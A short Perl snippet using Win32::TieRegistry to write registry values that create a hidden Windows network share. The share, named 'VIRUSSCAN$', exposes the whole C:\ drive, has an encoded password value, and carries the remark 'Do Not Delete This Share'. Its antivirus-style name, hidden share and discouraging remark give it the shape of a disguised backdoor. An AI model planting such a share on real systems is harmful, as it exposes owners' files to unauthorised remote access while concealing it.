use Win32::TieRegistry; $Registry->Delimiter("/"); $Registry->{"LMachine/SOFTWARE/Microsoft/Windows/" . "CurrentVersion/Network/"}= { "LanMan/" => { "VIRUSSCAN\$/" => { "/Flags" => [ "0x00000102", "REG_DWORD" ], "/Parm1enc" => [ "", "REG_BINARY" ], "/Parm2enc" => [ "\x1f\xb0\x67\x8c\x79", "REG_BINARY" ], "/Type" => [ "0x00000000", "REG_DWORD" ], "/Path" => "C:\\", "/Remark" => "Do Not Delete This Share" }, }, };